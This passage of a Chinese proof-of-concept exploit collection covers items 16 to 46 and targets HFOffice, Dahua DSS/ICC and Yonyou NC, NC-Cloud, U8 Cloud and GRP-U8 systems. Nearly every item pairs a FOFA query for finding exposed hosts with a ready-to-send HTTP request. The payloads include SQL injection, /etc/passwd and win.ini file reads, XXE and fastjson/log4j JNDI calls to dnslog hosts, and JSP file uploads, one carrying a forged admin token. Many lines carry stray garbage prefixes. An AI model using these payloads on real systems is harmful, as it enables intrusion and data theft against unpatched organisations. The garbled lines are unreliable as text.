2 I% }4 R8 \8 W; t* _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
! [0 n* ~% M5 T# ]# V- u" ?* lAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
$ h8 Z6 N% g7 v( _  fsec-ch-ua-platform: Windows
Accept-Encoding: gzip
% z' Y" |# }  f" |2 s0 o' S

! I9 H+ r  K) o- E  S2 A" X9 r16.  红帆HFOffice医微云SQL注入
0 v7 c/ Y( c1 l# ?4 rFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
- B# n$ ]7 ]9 N# r% vGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
9 Z, y! ]2 K( L/ `! SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& g* a+ U  ~0 Z- n3 ~Connection: close
Accept: */*
9 q8 h( K5 w% M2 bAccept-Language: en
Accept-Encoding: gzip

  n6 F& O! C( ]6 h9 C
17. 大华 DSS itcBulletin SQL 注入
; A6 h0 j2 h. P, @/ C! w5 W* dFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, A1 M9 ~0 P- JConnection: close
! ?: R, E" {: t. ?Content-Length: 345
Accept-Encoding: gzip

; _! B6 h% w1 I, D<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
9 A9 l( q8 ]( S' [9 G$ g: H% o      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
1 V4 V) q3 c* d8 N* ~      </netMarkings>
) m  S; [  t+ ]2 Q* h9 \( l$ @    </ns1:deleteBulletin>
2 Z2 P# ?, b: X- i) x  Y+ z7 D  </s11:Body>
# N3 m0 a- C! v$ o</s11:Envelope>
& o% P! Z7 }) y* k7 @) X- {

+ D$ @* J! c6 s7 n& _18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
* m( w9 ], C  q6 V7 oGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
$ K. o: Z9 ^5 K6 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
) r/ }/ k+ E, I7 e
9 S0 `$ Z1 I" x2 x) ~3 ?

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
& s& c- k8 i7 d+ \GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
" p! d4 n$ L( K* B- S. |8 yHost:
9 F  W( Q3 ]$ D6 E* {; d( I  h$ EUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ u; D2 T6 O0 ]7 aAccept-Encoding: gzip, deflate
Accept: */*
9 w9 G+ m  C8 N8 {! a/ DConnection: keep-alive
5 x' E% V2 j2 J/ P( `7 I

20. 大华ICC智能物联综合管理平台任意文件读取
- I2 _  e- D' U! f7 {% [+ u; I- QFOFA：body="*客户端会小于800*"
5 J/ Q/ a( @$ ?/ LGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
- k: W; ?1 q$ O3 e; KHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# K( K5 Q8 _2 g6 Z( ]' l' LAccept: */*
Accept-Language: en
/ p' |* Q8 z8 B# [Accept-Encoding: gzip

$ Y& Q2 Y- R- `
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 {  e, e+ _& W6 {  f- L% M3 iHost: x.x.x.x
7 p$ b# ?  n: L  m$ e6 }/ J( ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
9 Z( u8 L% s. l4 ~- eAccept-Encoding: gzip
, |, D9 `/ u+ z- Y9 Z3 _Connection: close
0 B' w3 k" q  B' j( w: K, F6 IContent-Type: application/json;charset=utf-8

- Q' F6 j( {2 m7 @{
"a":{
* W; \4 }4 o9 h7 T1 U   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
2 t2 @7 c8 z8 D5 U  b- K: R

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
. L1 j$ I6 \2 b8 ^FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
, H! \/ \, F' q& ^' t* b( t"loginName":"${jndi:ldap://dnslog}"
: W' a7 l# D& f" _4 L- d}


+ Y! l& k5 Y: w# i
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
# |: \7 P: {3 x0 X: I3 F" l& H3 W$ OPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
% c6 o+ R: ^0 n2 b! a* p8 r0 RHost: your-ip
" Y, v% q1 i0 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( r& B) z0 ]2 f# F/ L" o8 k$ t* YContent-Type: application/json;charset=utf-8
# t  W; j  p5 y: `$ B+ s8 DAccept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
8 }4 B2 s1 I  e- D       {"@type":"java.net.URL","val":"http://DNSLOG"}
- T. v1 W( L) K. [# r        }""
0 E0 \" X- B$ \/ c6 ^+ }) s}
, _( z5 T  p6 ^% [* e

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
5 Q; w: M9 G" C! k+ G. C% UUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
* L, U. Q5 q% X: ~& v/ N1 M; sContent-Length: 449
Accept: */*
Accept-Encoding: gzip
& N' n0 r' a0 M# ?, BContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
! T- A1 \& c4 H/ G) \' n' |! HContent-Type: text/plain

& k6 |! ~+ }' }1 W0 J<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
0 b& L& g2 b% j$ h! ^8 U+ ]Content-Disposition: form-data; name="fname"

* `5 ?1 W, Q' c9 v( B\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
, m1 C% t: I" r6 z( M
4 C; P  K+ o' O  ~
3 y: E- n6 |& j# n$ E) D+ ]8 j0 r- y25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
4 s& Z! B: w/ kAccept-Encoding: gzip, deflate
0 |' p/ m& L% _; P; ^* |9 JAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
$ B7 k5 X% I' nContent-Type: application/x-www-form-urlencoded
8 {' c8 G8 C' p+ r" e& [4 S
, o: L! t3 v0 btype=1&dsname=ldap://dnslog
7 D# |/ W+ a4 R3 {& x


4 Q' ]' v( `5 u! T5 I) j26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' m0 b: F3 K) d* R% U  J; @, G& fContent-Type: application/x-www-form-urlencoded
) S2 `, O* H4 D$ cAccept-Encoding: gzip, deflate
Accept: */*
8 o0 i: p/ R0 sConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
$ X5 w! V3 `* O# O* oGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
4 j% r5 R3 z5 RHost: your-ip
6 a' _5 w8 V" X8 A4 |. p  h+ y" EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 `6 I9 ~0 j9 }5 gAccept-Encoding: identity
. \6 Z$ G( i: B' o; w. J' ?* j9 nConnection: close
Content-Type: text/xml; charset=utf-8
, T% c  J( X, M  X0 Y0 [
+ {/ Y6 u$ `" J; a' i
) [9 s4 v7 ~! _  h* t9 U28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
' \8 U) {9 J  zPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
) M) @5 R" ?+ l. O3 E. o, w0 @9 \Host: x.x.x.x
4 L+ \$ S* s; w9 |( QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
" L: z) {# ~) B/ ?( D) GContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

5 J/ C# S: G' l. H( F------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: g, O; K# K) o4 a4 o' V) rContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
3 Q) T5 }3 v. t" \% {  |" K3 s3 a
2 u0 n# ]$ z) x. k8 ?<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
5 h$ x% M5 Y  o! `- z------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
8 k1 C7 [: N! b: o- u  k
( \  a% |. k# l
( _  @3 f1 i+ E: R% Y. F5 F2 P! m4 l/uapim/static/pages/nc/head.jsp
" z' N3 v  O9 }" I: }2 t
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
- p- q% C" C. g& X/ k& NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 e& C5 e/ |2 H2 P+ X9 YAccept-Encoding: gzip, deflate
Accept: */*
2 }# a% p5 r7 u! R1 O7 W9 o5 LConnection: keep-alive


, \2 o# I3 s* d30. 用友NC importPml SQL注入
( a( X0 J! r4 B4 L: }( i& nFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
- W" i& V5 ~# }8 GPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
+ d  L! s" k/ i( z5 dHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
6 o7 q$ h- J4 u  [! b2 }  m
------WebKitFormBoundaryH970hbttBhoCyj9V
/ m" g' w9 r# A% EContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
6 k& I* l7 k9 y1 [Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

: f* b+ d  ?( _8 X/ |, \
31. 用友NC runStateServlet SQL注入
7 b) x2 s6 a- l3 rversion<=6.5
9 r  w4 g5 x* s( Q" pFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
# z$ _5 W* f2 L3 W! V7 L' q7 o5 j  }GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& z, `8 T2 h/ o0 c, p$ OHost: host
, `, A! r3 s* o& S  q3 ?+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
  _6 L4 V6 \1 \) yversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
* \5 [1 o$ m' x% P2 P4 vGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! _0 `& c' J% y3 w+ a' yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; i2 W4 ?1 D* l/ VContent-Type: application/x-www-form-urlencoded
: h. E7 k+ ]9 P# M: zAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
. T# b# T" C2 j

3 z8 Y) c, k  }4 p5 h33. 用友NC downTax/download SQL注入
2 D/ v1 t( K9 p  {, `8 bversion：NC6.5FOFA：app="用友-UFIDA-NC"
+ B% G& K. O; }7 nGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 t3 p  r& M' M( m& QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. r8 n9 W; R; D8 sAccept: */*
3 G( p9 {1 h  u! o1 E# B. MConnection: keep-alive
# {% b- [4 \8 q' r; z) N% s
2 L$ v% c: d' d( o0 F
34. 用友NC warningDetailInfo接口SQL注入
/ H4 Z+ M! h2 z6 ?  r/ NFOFA：app="用友-UFIDA-NC"
6 d0 Y7 K' _# Q0 zGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 U7 P* ?% f& l4 {2 f5 vHost: your-ip
+ U# c5 G8 D) g$ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; X3 M, Y5 t+ O. c9 DContent-Type: application/x-www-form-urlencoded
" a. F* F$ o) S  Z4 ^. AAccept-Encoding: gzip, deflate
5 M; X/ e% q" u% R8 H' kAccept: */*
" H, l; c: g* V: A1 S! z) XConnection: keep-alive


# X1 g  m- P7 S% [) E35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
* |' f! p) P& O( q$ H+ P2 @POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
, }& c3 n) G" V- V; s) E" Y, GConnection: close
# ~, f" B+ b4 l1 A8 j% MaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
, |: t4 n% E2 Z( b# TContent-Length: 190
5 H2 Y- A( N$ h: d8 {. gContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

! M. o! r. y& Q. c, z" _' V--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
5 t0 G( t" ]( q9 I, n" h
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
! j% r4 I4 ]( e4 i! o/ I2 P* ]8 G$ `

% l; u6 K$ b6 |4 O6 x$ g36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ `, J" G5 O, F* H- {# nAccept-Encoding: gzip, deflate
8 s; d: g  k) p; w" x, m% [3 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* ~' a5 \6 B+ A7 pContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
, y+ a1 j$ g/ t8 w2 M5 a' g
% Q9 ^; N2 L' [msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
/ m0 v: B! J7 z6 [
/ O4 Q, x8 a8 Q5 f- u+ Y( }. z
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
- s, ?4 K) W* Q! b: zHost: 192.168.40.130:8989
/ v; w7 ^# t# D: ^( @5 l) n# _. ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 z6 T4 ^7 A# T. p) @) NContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 g5 @! \: D5 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
( z5 ?9 Q. j. [, W0 D# A9 FSOAPAction: urn:getResult
; w' M2 L$ C( m7 w" I  n$ h7 SUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
- b- b: E$ Z% a3 c% g8 z1 z<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
6 u, x5 _4 o+ ?<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
/ j4 P& I5 G; a</soapenv:Body>
7 y/ w' X) G2 V$ |5 R5 J</soapenv:Envelope>


% O5 M/ g4 v6 y
% A( B2 c4 k& _7 a8 a38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
7 g' K4 M" x+ B, eHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
* Q& s: [8 `7 F' H- ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
: z% _7 z  _) u* c" a" i4 VAccept-Language: zh-CN,zh;q=0.9
/ t7 G4 X" ?+ o/ |% @Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
' i" [/ M* @/ t& e5 A2 z7 D, S0 F, T2 L

39. 用友U8 Cloud RegisterServlet SQL注入
" m9 f  ~7 v* w- l1 ]FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
& C8 q/ m& d" `7 U* ^! O  i' fHost: 192.168.86.128:8089
. i/ B  @6 B  S( M2 j  G1 W9 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
* g% [* h; r) O$ X- n' jAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
/ X$ {" Z  Y" j  pAccept-Encoding: gzip
0 J/ f% z( i- Q! O/ p4 ~5 m7 s" N
( _- t8 R& S" K* t: Busercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


9 ?7 W$ r) w- A6 k9 h' n! Z9 f40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
6 |1 i0 S( q1 J1 t/ f) l$ Y  mPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
# C2 U& k- j! _% t/ G$ c8 s& p9 \User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 g- u. M/ V+ w+ ^% A+ eContent-Type: text/xml
Connection: close
  u. M/ ?4 J8 \$ r( h: c9 [
9 i' Q, K# d4 W$ P# J( t6 K: Z( ~<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


  x" _# R3 R- ]; F! B41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
& A6 R" B( C) H, ~9 `9 JFOFA：app="用友-U8-Cloud"
) X& p: M: c+ p5 X: H- f. V# }3 TGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
. R+ V- D. m8 E4 |: PAccept-Encoding: gzip
8 r. M7 S) B& d, h" z7 fConnection: close


3 G0 y' F2 ~6 a% f; N7 r1 ?& d42. 用友GRP-U8 SmartUpload01 文件上传
8 j, k/ Z# ~+ UFOFA：app="用友-GRP-U8"
3 w' P  J; f3 P. X' ^  P+ x) VPOST /u8qx/SmartUpload01.jsp HTTP/1.1
! G  C( s& O4 K$ O8 V$ k+ [Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
6 N5 h" d0 q8 v5 W+ v* O. K3 f' F4 H% PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

* C8 l/ B3 z. }2 ~PAYLOAD
/ p: \+ v/ C: J, `5 D1 P" j: M* X( q

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
# {9 a7 X& G' C
) N' [5 x4 N* _) K9 z43. 用友GRP-U8 userInfoWeb SQL注入致RCE
; }$ v. O3 ?$ }; Z$ P+ |( v- GFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
5 E6 Q$ d% g. n7 OHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
. d# F7 \5 F5 Y( n& mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( v" g  `5 M( P6 x7 q6 WAccept-Language: zh-CN,zh;q=0.9
. [' \: o5 X) R5 C$ YConnection: close
( S! v7 _& b- W2 J" ^SOAPAction:
$ c2 |9 K! L( J, D. h: D- u5 zContent-Type: text/xml;charset=UTF-8

  V& B" Q- @3 [3 M<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
0 d. `9 l1 b4 |. S      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
" m# d  t/ [2 x, J7 Y         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
- P4 N- |' A6 \      </ser:getUserNameById>
. C% \; `) v. }# e  \0 I' @; R* i& [   </soapenv:Body>
</soapenv:Envelope>
& L% a0 M6 z3 @, T+ E9 D
7 o- ]; t* T! R0 _3 f- r
4 U/ ]- u% A7 W# w44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
' n  U' ]- p, A% [6 ^% t( r2 }Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 J' j( N9 ]( x1 o4 H* a& i. @$ ?Connection: close

( U+ d4 K% n: _% N
45. 用友GRP-U8 ufgovbank XXE
+ ^6 B, Y% S" _% WFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
3 T8 \$ _8 v' a) h7 c- S- SConnection: close
Content-Length: 161
7 Z( t0 f3 ^8 V2 F" J8 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( i  |9 |& i6 t: OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
3 A5 p; D; S% n- W* f8 T6 pAccept-Encoding: gzip
8 ^6 N6 l- l, c8 Y
: O( a  w% `, v& ^. oreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
3 {, \& t, Q6 f
0 X$ H3 D5 k0 i
. H/ ]- Z" W( C9 u! R6 v' e2 s46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
